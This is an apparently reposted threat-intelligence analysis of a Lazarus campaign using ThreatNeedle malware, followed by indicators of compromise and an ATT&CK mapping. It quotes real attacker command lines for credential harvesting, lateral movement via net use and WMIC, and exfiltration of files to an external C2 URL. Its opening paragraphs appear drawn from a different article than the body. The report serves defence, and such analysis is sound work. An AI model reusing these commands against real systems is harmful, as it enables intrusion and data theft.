APT ATT&CK Buzz
Recent attacks by Lazarus APT against blockchain finance and energy industries
The Lazarus APT organization is an APT group suspected of having a Northeast Asian background. Recently, researchers captured multiple new attack samples targeting industries such as blockchain and oil and gas
REFERENCE:
TAGS: lazarus, spearphishing, malicous macro, javascript
ADVERSARY: Lazarus Group
INDUSTRIES: Energy, Finance, Banking
ATT&CK IDS: T1137.001 - Office Template Macros, T1059.007 - JavaScript, T1119 - Automated Collection, T1192 - Spearphishing Link
This phishing email was very similar to publicly available samples uploaded to VirusTotal, and contained a document that was supposedly protected by the General Data Protection Regulation (GDPR) and needed to be enabled in Microsoft Word to be accessed. Enabling this content resulted in the execution of malicious embedded macro code on the victim’s system.
The report goes on to detail the infection chain used in this particular campaign, as well as other TTPs used by Lazarus.
Lawrence warned that Lazarus was investing significant effort to evade the defences of its targets during the attack, for example disabling anti-virus software on compromised hosts and removing evidence of malicious implants.
This is not the first time Lazarus has been linked to attacks against cryptocurrency operators – which it probably perpetrates with the relatively simple agenda of stealing money to generate funds for the isolated, impoverished North Korean regime.
Initial infection
In this attack, spear phishing was used as the initial infection vector. Before launching the attack, the group studied publicly available information about the targeted organization and identified email addresses belonging to various departments of the company.
Email addresses in those departments received phishing emails that either had a malicious Word document attached or a link to one hosted on a remote server. The phishing emails claimed to have urgent updates on today’s hottest topic – COVID-19 infections. The phishing emails were carefully crafted and written on behalf of a medical center that is part of the organization under attack.
The attackers registered accounts with a public email service, making sure the sender’s email addresses looked similar to the medical center’s real email address. The signature shown in the phishing emails included the actual personal data of the deputy head doctor of the attacked organization’s medical center. The attackers were able to find this information on the medical center’s public website.
A macro in the Microsoft Word document contained the malicious code designed to download and execute additional malicious software on the infected system.
The document contains information on the population health assessment program and is not directly related to the subject of the phishing email (COVID-19), suggesting the attackers may not completely understand the meaning of the contents they used.
The content of the lure document was copied from an online post by a health clinic.
Our investigation showed that the initial spear-phishing attempt was unsuccessful due to macros being disabled in the Microsoft Office installation of the targeted systems. In order to persuade the target to allow the malicious macro, the attacker sent another email showing how to enable macros in Microsoft Office.
The content in the spear-phishing emails sent by the attackers from May 21 to May 26, 2020, did not contain any grammatical mistakes. However, in subsequent emails the attackers made numerous errors, suggesting they may not be native Russian speakers and were using translation tools.
This group also utilized different types of spear-phishing attack. One of the compromised hosts received several spear-phishing documents on May 19, 2020. The malicious file that was delivered, named Boeing_AERO_GS.docx, fetches a template from a remote server.
However, no payload created by this malicious document could be discovered. We speculate that the infection from this malicious document failed for a reason unknown to us. A few days later, the same host opened a different malicious document. The threat actor wiped these files from disk after the initial infection meaning they could not be obtained.
Nonetheless, a related malicious document with this malware was retrieved based on our telemetry. It creates a payload and shortcut file and then continues executing the payload by using the following command line parameters.
Payload path: %APPDATA%\Microsoft\Windows\lconcaches.db
Shortcut path: %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\OneDrives.lnk
Command Line; please note that the string at the end is hard-coded, but different for each sample:
exe [dllpath],Dispatch n2UmQ9McxUds2b29
The content of the decoy document depicts the job description of a generator/power industry engineer.
Malware implants
Upon opening a malicious document and allowing the macro, the malware is dropped and proceeds to a multistage deployment procedure. The malware used in this campaign belongs to a known malware cluster we named ThreatNeedle. We attribute this malware family to the advanced version of Manuscrypt (a.k.a. NukeSped), a family belonging to the Lazarus group. We previously observed the Lazarus group utilizing this cluster when attacking cryptocurrency businesses and a mobile game company. Although the malware involved and the entire infection process is known and has not changed dramatically compared to previous findings, the Lazarus group continued using ThreatNeedle malware aggressively in this campaign.
ThreatNeedle installer
Upon launch, the malware decrypts an embedded string using RC4 (key: B6 B7 2D 8C 6B 5F 14 DF B1 38 A1 73 89 C1 D2 C4) and compares it to “7486513879852“. If the user executes this malware without a command line parameter, the malware launches a legitimate calculator carrying a dark icon of the popular Avengers franchise.
Further into the infection process, the malware chooses a service name randomly from netsvc in order to use it for the payload creation path. The malware then creates a file named bcdbootinfo.tlp in the system folder containing the infection time and the random service name that is chosen. We’ve discovered that the malware operator checks this file to see whether the remote host was infected and, if so, when the infection happened.
It then decrypts the embedded payload using the RC4 algorithm, saves it to an .xml extension with a randomly created five-character file name in the current directory and then copies it to the system folder with a .sys extension.
This final payload is the ThreatNeedle loader running in memory. At this point the loader uses a different RC4 key (3D 68 D0 0A B1 0E C6 AF DD EE 18 8E F4 A1 D6 20), and the dropped malware is registered as a Windows service and launched. In addition, the malware saves the configuration data as a registry key encrypted in RC4:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\GameConfig – Description
ThreatNeedle loader
This component is responsible for loading the final backdoor payload into memory. In order to do this, the malware uses several techniques to decrypt its payload:
Loading the payload from the registry.
Loading the payload from itself after decrypting RC4 and decompression.
Loading the payload from itself after decrypting AES and decompression.
Loading the payload from itself after decompression.
Loading the payload from itself after one-byte XORing.
Most loader-style malware types check the command line parameter and only proceed with the malicious routine if an expected parameter is given. This is a common trait in ThreatNeedle loaders. The most common example we’ve seen is similar to the ThreatNeedle installer – the malware decrypts an embedded string using RC4, and compares it with the parameter “Sx6BrUk4v4rqBFBV” upon launch. If it matches, the malware begins decrypting its embedded payload using the same RC4 key. The decrypted payload is an archive file which is subsequently decompressed in the process. Eventually, the ThreatNeedle malware spawns in memory.
The other variant of the loader is preparing the next stage payload from the victim’s registry. As we can see from the installer malware description, we suspect that the registry key was created by the installer component. Retrieved data from the registry is decrypted using RC4 and then decompressed. Eventually, it gets loaded into memory and the export function is invoked.
ThreatNeedle backdoor
The final payload executed in memory is the actual ThreatNeedle backdoor. It has the following functionality to control infected victim machines:
Manipulate files/directories
System profiling
Control backdoor processes
Enter sleeping or hibernation mode
Update backdoor configuration
Execute received commands
Post-exploitation phase
From one of the hosts, we discovered that the actor executed a credential harvesting tool named Responder and moved laterally using Windows commands. Lazarus overcame network segmentation, exfiltrating data from a completely isolated network segment cut off from the internet by compromising a router virtual machine, as we explain below under “Overcoming network segmentation“.
Judging by the hosts that were infected with the ThreatNeedle backdoors post-exploitation, we speculate that the primary intention of this attack is to steal intellectual property. Lastly, the stolen data gets exfiltrated using a custom tool that will be described in the “Exfiltration” section. Below is a rough timeline of the compromise we investigated:
Credential gathering
During the investigation we discovered that the Responder tool was executed from one of the victim machines that had received the spear-phishing document. One day after the initial infection, the malware operator placed the tool onto this host and executed it using the following command:
[Responder file path] -i [IP address] -rPv
Several days later, the attacker started to move laterally originating from this host. Therefore, we assess that the attacker succeeded in acquiring login credentials from this host and started using them for further malicious activity.
Lateral movement
After acquiring the login credentials, the actor started to move laterally from workstations to server hosts. Typical lateral movement methods were employed, using Windows commands. First, a network connection with a remote host was established using the command “net use”.
net use \\[IP address]\IPC$ “[password]” /u:”[user name]” > $temp\~tmp5936t.tmp 2>&1″
Next, the actor copied malware to the remote host using the Windows Management Instrumentation Command-line (WMIC).
exe /node:[IP address] /user:”[user name]” /password:”[password]” PROCESS CALL CREATE “cmd.exe /c $appdata\Adobe\adobe.bat“
exe /node:[IP address] /user:”[user name]” /password:”[password]” PROCESS CALL CREATE “cmd /c sc queryex helpsvc > $temp\tmp001.dat“
Overcoming network segmentation
In the course of this research, we identified another highly interesting technique used by the attackers for lateral movement and exfiltration of stolen data. The enterprise network under attack was divided into two segments: corporate (a network on which computers had internet access) and restricted (a network on which computers hosted sensitive data and had no internet access). According to corporate policies, no transfer of information was allowed between these two segments. In other words, the two segments were meant to be completely separated.
Initially, the attackers were able to get access to systems with internet access and spent a long time distributing malware between machines in the network’s corporate segment. Among the compromised machines were those used by the administrators of the enterprise’s IT infrastructure.
It is worth noting that the administrators could connect both to the corporate and the restricted network segments to maintain systems and provide users with technical support in both zones. As a result, by gaining control of administrator workstations the attackers were able to access the restricted network segment.
However, since directly routing traffic between the segments was not possible, the attackers couldn’t use their standard malware set to exfiltrate data from the restricted segment to the C2.
The situation changed on July 2 when the attackers managed to obtain the credentials for the router used by the administrators to connect to systems in both segments. The router was a virtual machine running CentOS to route traffic between several network interfaces based on predefined rules.
In the course of the investigation we identified malware samples with the hardcoded URL of the router used as a proxy server.
Hardcoded proxy address in the malware
Since the attackers regularly deleted log files from the router, only a handful of commands entered to the command line via SSH could be recovered. An analysis of these commands shows that the attackers tried to reconfigure traffic routing using the route command.
Attacker commands
The attackers also ran the nmap utility on the router VM and scanned ports on systems within the restricted segment of the enterprise network. On September 27, the attackers started removing all traces of their activity from the router, using the logrotate utility to set up automatic deletion of log files.
Webmin log
Exfiltration
We observed that the malware operator attempted to create SSH tunnels to a remote server located in South Korea from several compromised server hosts. They used a custom tunneling tool to achieve this. The tool receives four parameters: client IP address, client port, server IP address and server port. The tool offers basic functionality, forwarding client traffic to the server. In order to create a covert channel, the malware encrypts forwarded traffic using trivial binary encryption.
Encryption routine
Using the covert channel, the adversary copied data from the remote server over to the host using the PuTTy PSCP tool:
%APPDATA%\PBL\unpack.tmp -pw [password] root@[IP address]:/tmp/cab0215 %APPDATA%\PBL\cab0215.tmp
After copying data from the server, the actor utilized the custom tool to exfiltrate stolen data to the remote server. This malware looks like a legitimate VNC client and runs like one if it’s executed without any command line parameters.
Execution of malware without parameters
However, if this application is executed with specific command line parameters, it runs an alternate, malicious function. According to our telemetry, the actor executed this application with six parameters:
%APPDATA%\Comms\Comms.dat S0RMM-50QQE-F65DN-DCPYN-5QEQA hxxps://www.gonnelli[.]it/uploads/catalogo/thumbs/thumb[.]asp %APPDATA%\Comms\cab59.tmp FL0509 15000
Also, if the number of command line parameters is greater than six, the malware jumps into a malicious routine. The malware also checks the length of the second argument – if it’s less than 29 characters, it terminates the execution. When the parameter checking procedure has passed successfully, the malware starts to decrypt its next payload.
The embedded payload gets decrypted via XOR, where each byte from the end of the payload gets applied to the preceding byte. Next, the XORed blob receives the second command line argument that’s provided (in this case S0RMM-50QQE-F65DN-DCPYN-5QEQA). The malware can accept more command line arguments, and depending on its number it runs differently. For example, it can also receive proxy server addresses with the “-p” option.
When the decrypted in-memory payload is executed, it compares the header of the configuration data passed with the string “0x8406” in order to confirm its validity. The payload opens a given file (in this example %APPDATA%\Comms\cab59.tmp) and starts exfiltrating it to the remote server. When the malware uploads data to the C2 server, it uses HTTP POST requests with two parameters named ‘fr’ and ‘fp’:
The ‘fr’ parameter contains the file name from the command line argument to upload.
The ‘fp’ parameter contains the base64 encoded size, CRC32 value of content and file contents.
Contents of fp parameter
Attribution
We have been tracking ThreatNeedle malware for more than two years and are highly confident that this malware cluster is attributed only to the Lazarus group. During this investigation, we were able to find connections to several clusters of the Lazarus group.
Connections between Lazarus campaigns
Connection with DeathNote cluster
During this investigation we identified several connections with the DeathNote (a.k.a. Operation Dream Job) cluster of the Lazarus group. First of all, among the hosts infected by the ThreatNeedle malware, we discovered one that was also infected with the DeathNote malware, and both threats used the same C2 server URLs.
In addition, while analyzing the C2 server used in this attack, we found a custom web shell script that was also discovered on the DeathNote C2 server. We also identified that the server script corresponding to the Trojanized VNC Uploader was found on the DeathNote C2 server.
Although DeathNote and this incident show different TTPs, both campaigns share command and control infrastructure and some victimology.
Connection with Operation AppleJeus
We also found a connection with Operation AppleJeus. As we described, the actor used a homemade tunneling tool in the ThreatNeedle campaign that has a custom encryption routine to create a covert channel. This very same tool was utilized in operation AppleJeus as well.
Same tunneling tool
Connection with Bookcode cluster
In our previous blog about Lazarus group, we mentioned the Bookcode cluster attributed to Lazarus group; and recently the Korea Internet and Security Agency (KISA) also published a report about the operation. In the report, they mentioned a malware cluster named LPEClient used for profiling hosts and fetching next stage payloads. While investigating this incident, we also found LPEClient from the host infected with ThreatNeedle. So, we assess that the ThreatNeedle cluster is connected to the Bookcode operation.
Conclusions
In recent years, the Lazarus group has focused on attacking financial institutions around the world. However, beginning in early 2020, they focused on aggressively attacking the defense industry. While Lazarus has also previously utilized the ThreatNeedle malware used in this attack when targeting cryptocurrency businesses, it is currently being actively used in cyberespionage attacks.
This investigation allowed us to create strong ties between multiple campaigns that Lazarus has conducted, reinforcing our attribution. In this campaign the Lazarus group demonstrated its sophistication level and ability to circumvent the security measures they face during their attacks, such as network segmentation. We assess that Lazarus is a highly prolific group, conducting several campaigns using different strategies. They shared tools and infrastructure among these campaigns to accomplish their goals.
Kaspersky ICS CERT would like to thank Vasily Berdnikov (Kaspersky targeted attacks research group) for his help.
Appendix I – Indicators of Compromise
Malicious documents
e7aa0237fc3db67a96ebd877806a2c88
Boeing_AERO_GS.docx
Installer
b191cc4d73a247afe0a62a8c38dc9137
%APPDATA%\Microsoft\DRM\logon.bin
9e440e231ef2c62c78147169a26a1bd3
C:\ProgramData\ntnser.bin
b7cc295767c1d8c6c68b1bb6c4b4214f
C:\ProgramData\ntnser.bin
0f967343e50500494cf3481ce4de698c
C:\ProgramData\Microsoft\MSDN\msdn.bin
09aa1427f26e7dd48955f09a9c604564
%APPDATA\Microsoft\info.dat
07b22533d08f32d48485a521dbc1974d
C:\ProgramData\adobe\load.dat
1c5e4d60a1041cf2903817a31c1fa212
C:\ProgramData\Adobe\adobe.tmp
4cebc83229a40c25434c51ee3d6be13e
C:\ProgramData\Adobe\up.tmp
23b04b18c75aa7d286fea5d28d41a830
%APPDATA%\Microsoft\DRM\logon.dat
319ace20f6ffd39b7fff1444f73c9f5d
%APPDATA%\Microsoft\DRM\logon.bin
45c0a6e13cad26c69eff59fded88ef36
%APPDATA%\Microsoft\DRM\logon.dat
486f25db5ca980ef4a7f6dfbf9e2a1ad
C:\ProgramData\ntusers.dat
1333967486d3ab50d768fb745dae9af5
C:\PerfLogs\log.bin
07b22533d08f32d48485a521dbc1974d
C:\ProgramData\Adobe\load.dat
c86d0a2fa9c4ef59aa09e2435b4ab70c
%TEMP%\ETS4659.tmp
69d71f06fbfe177fb1a5f57b9c3ae587
%APPDATA%\Microsoft\Windows\shsvcs.db
7bad67dcaf269f9ee18869e5ef6b2dc1
956e5138940a4f44d1c2c24f122966bd
%APPDATA%\ntuser.bin
Loader
ed627b7bbf7ea78c343e9fb99783c62b
1a17609b7df20dcb3bd1b71b7cb3c674
%ALLUSERSPROFILE%\ntuser.bin
fa9635b479a79a3e3fba3d9e65b842c3
3758bda17b20010ff864575b0ccd9e50
%SYSTEMROOT%\system\mraudio.drv
cbcf15e272c422b029fcf1b82709e333
%SYSTEMROOT%\system\mraudio.drv
9cb513684f1024bea912e539e482473a
36ab0902797bd18acd6880040369731c
%SYSTEMROOT%\LogonHours.sys
db35391857bcf7b0fa17dbbed97ad269
%ALLUSERSPROFILE%\Adobe\update.tmp
be4c927f636d2ae88a1e0786551bf3c4
%ALLUSERSPROFILE%\Adobe\unpack.tmp
728948c66582858f6a3d3136c7fbe84a
%APPDATA%\Microsoft\IBM.DAT
06af39b9954dfe9ac5e4ec397a3003fb
29c5eb3f17273383782c716754a3025a
79d58b6e850647024fea1c53e997a3f6
e604185ee40264da4b7d10fdb6c7ab5e
2a73d232334e9956d5b712cc74e01753
1a17609b7df20dcb3bd1b71b7cb3c674
%ALLUSERSPROFILE%\ntuser.bin
459be1d21a026d5ac3580888c8239b07
%ALLUSERSPROFILE%\ntuser.bin
87fb7be83eff9bea0d6cc95d68865564
%SYSTEMROOT%\SysWOW64\wmdmpmsp.sys
062a40e74f8033138d19aa94f0d0ed6e
%APPDATA%\microsoft\OutIook.db
9b17f0db7aeff5d479eaee8056b9ac09
%TEMP%\ETS4658.tmp, %APPDATA%\Temp\BTM0345.tmp
9b17f0db7aeff5d479eaee8056b9ac09
%APPDATA%\Temp\BTM0345.tmp
420d91db69b83ac9ca3be23f6b3a620b
238e31b562418c236ed1a0445016117c
%APPDATA%\Microsoft\Windows\lconcaches.db, %TEMP%\cache.db
36ab0902797bd18acd6880040369731c
238e31b562418c236ed1a0445016117c
%TEMP%\cache.db, %APPDATA%\Microsoft\Windows\lconcaches.db
ad1a93d6e6b8a4f6956186c213494d17
%APPDATA%\Microsoft\Windows\shsvcs.db
c34d5d2cc857b6ee9038d8bb107800f1
Registry Loader
16824dfd4a380699f3841a6fa7e52c6d
aa74ed16b0057b31c835a5ef8a105942
85621411e4c80897c588b5df53d26270
%SYSTEMROOT%\system\avimovie.dll
a611d023dfdd7ca1fab07f976d2b6629
160d0e396bf8ec87930a5df46469a960
%WINDIR%\winhelp.dll
110e1c46fd9a39a1c86292487994e5bd
Downloader
ac86d95e959452d189e30fa6ded05069
%APPDATA%\Microsoft\thumbnails.db
Trojanized VNC Uploader
bea90d0ef40a657cb291d25c4573768d
%ALLUSERSPROFILE%\adobe\arm86.dat
254a7a0c1db2bea788ca826f4b5bf51a
%APPDATA%\PBL\user.tmp, %APPDATA%\Comms\Comms.dat
Tunneling Tool
6f0c7cbd57439e391c93a2101f958ccd
%APPDATA\PBL\update.tmp
fc9e7dc13ce7edc590ef7dfce12fe017
LPEClient
0aceeb2d38fe8b5ef2899dd6b80bfc08
%TEMP%\ETS5659.tmp
09580ea6f1fe941f1984b4e1e442e0a5
%TEMP%\ETS4658.tmp
File path
%SYSTEMROOT%\system32\bcdbootinfo.tlp
%SYSTEMROOT%\system32\Nwsapagent.sys
%SYSTEMROOT%\system32\SRService.sys
%SYSTEMROOT%\system32\NWCWorkstation.sys
%SYSTEMROOT%\system32\WmdmPmSp.sys
%SYSTEMROOT%\system32\PCAudit.sys
%SYSTEMROOT%\system32\helpsvc.sys
Registry Path
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\GameConfig – Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\KernelConfig – SubVersion
Domains and IPs
hxxp://forum.iron-maiden[.]ru/core/cache/index[.]php
hxxp://www.au-pair[.]org/admin/Newspaper[.]asp
hxxp://www.au-pair[.]org/admin/login[.]asp
hxxp://www.colasprint[.]com/_vti_log/upload[.]asp
hxxp://www.djasw.or[.]kr/sub/popup/images/upfiles[.]asp
hxxp://www.kwwa[.]org/popup/160307/popup_160308[.]asp
hxxp://www.kwwa[.]org/DR6001/FN6006LS[.]asp
hxxp://www.sanatoliacare[.]com/include/index[.]asp
hxxps://americanhotboats[.]com/forums/core/cache/index[.]php
hxxps://docentfx[.]com/wp-admin/includes/upload[.]php
hxxps://kannadagrahakarakoota[.]org/forums/admincp/upload[.]php
hxxps://polyboatowners[.]com/2010/images/BOTM/upload[.]php
hxxps://ryanmcbain[.]com/forum/core/cache/upload[.]php
hxxps://shinwonbook.co[.]kr/basket/pay/open[.]asp
hxxps://shinwonbook.co[.]kr/board/editor/upload[.]asp
hxxps://theforceawakenstoys[.]com/vBulletin/core/cache/upload[.]php
hxxps://www.automercado.co[.]cr/empleo/css/main[.]jsp
hxxps://www.curiofirenze[.]com/include/inc-site[.]asp
hxxps://www.digitaldowns[.]us/artman/exec/upload[.]php
hxxps://www.digitaldowns[.]us/artman/exec/upload[.]php
hxxps://www.dronerc[.]it/forum/uploads/index[.]php
hxxps://www.dronerc[.]it/shop_testbr/Adapter/Adapter_Config[.]php
hxxps://www.edujikim[.]com/intro/blue/view[.]asp
hxxps://www.edujikim[.]com/pay/sample/INIstart[.]asp
hxxps://www.edujikim[.]com/smarteditor/img/upload[.]asp
hxxps://www.fabioluciani[.]com/ae/include/constant[.]asp
hxxps://www.fabioluciani[.]com/es/include/include[.]asp
hxxp://www.juvillage.co[.]kr/img/upload[.]asp
hxxps://www.lyzeum[.]com/board/bbs/bbs_read[.]asp
hxxps://www.lyzeum[.]com/images/board/upload[.]asp
hxxps://martiancartel[.]com/forum/customavatars/avatars[.]php
hxxps://www.polyboatowners[.]com/css/index[.]php
hxxps://www.sanlorenzoyacht[.]com/newsl/include/inc-map[.]asp
hxxps://www.raiestatesandbuilders[.]com/admin/installer/installer/index[.]php
hxxp://156.245.16[.]55/admin/admin[.]asp
hxxp://fredrikarnell[.]com/marocko2014/index[.]php
hxxp://roit.co[.]kr/xyz/mainpage/view[.]asp
Second stage C2 address
hxxps://www.waterdoblog[.]com/uploads/index[.]asp
hxxp://www.kbcwainwrightchallenge.org[.]uk/connections/dbconn[.]asp
C2 URLs to exfiltrate files used by Trojanized VNC Uploader
hxxps://prototypetrains[.]com:443/forums/core/cache/index[.]php
hxxps://newidealupvc[.]com:443/img/prettyPhoto/jquery.max[.]php
hxxps://mdim.in[.]ua:443/core/cache/index[.]php
hxxps://forum.snowreport[.]gr:443/cache/template/upload[.]php
hxxps://www.gonnelli[.]it/uploads/catalogo/thumbs/thumb[.]asp
hxxps://www.dellarocca[.]net/it/content/img/img[.]asp
hxxps://www.astedams[.]it/photos/image/image[.]asp
hxxps://www.geeks-board[.]com/blog/wp-content/uploads/2017/cache[.]php
hxxps://cloudarray[.]com/images/logo/videos/cache[.]jsp
Appendix II – MITRE ATT&CK Mapping
Tactic
Technique
Technique Name
Initial Access
T1566.002
Phishing: Spearphishing Link
Execution
T1059.003
T1204.002
T1569.002
Command and Scripting Interpreter: Windows Command Shell
User Execution: Malicious File
System Services: Service Execution
Persistence
T1543.003
T1547.001
Create or Modify System Process: Windows Service
Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder
Privilege Escalation
T1543.003
Create or Modify System Process: Windows Service
Defense Evasion
T1140
T1070.002
T1070.003
T1070.004
T1036.003
T1036.004
T1112
Deobfuscate/Decode Files or Information
Clear Linux or Mac System Logs
Clear Command History
File Deletion
Masquerading: Rename System Utilities
Masquerading: Masquerade Task or Service
Modify Registry
Credential Access
T1557.001
LLMNR/NBT-NS Poisoning and SMB Relay
Discovery
T1135
T1057
T1016
T1033
T1049
T1082
T1083
T1007
Network Share Discovery
Process Discovery
System Network Configuration Discovery
System Owner/User Discovery
System Network Connections Discovery
System Information Discovery
File and Directory Discovery
System Service Discovery
Lateral Movement
T1021.002
SMB/Windows Admin Shares
Collection
T1560.001
Archive Collected Data: Archive via Utility
Command and Control
T1071.001
T1132.002
T1104
T1572
T1090.001
Application Layer Protocol: Web Protocols
Non-Standard Encoding
Multi-Stage Channels
Protocol Tunneling
Internal Proxy
Exfiltration
T1041
Exfiltration Over C2 Channel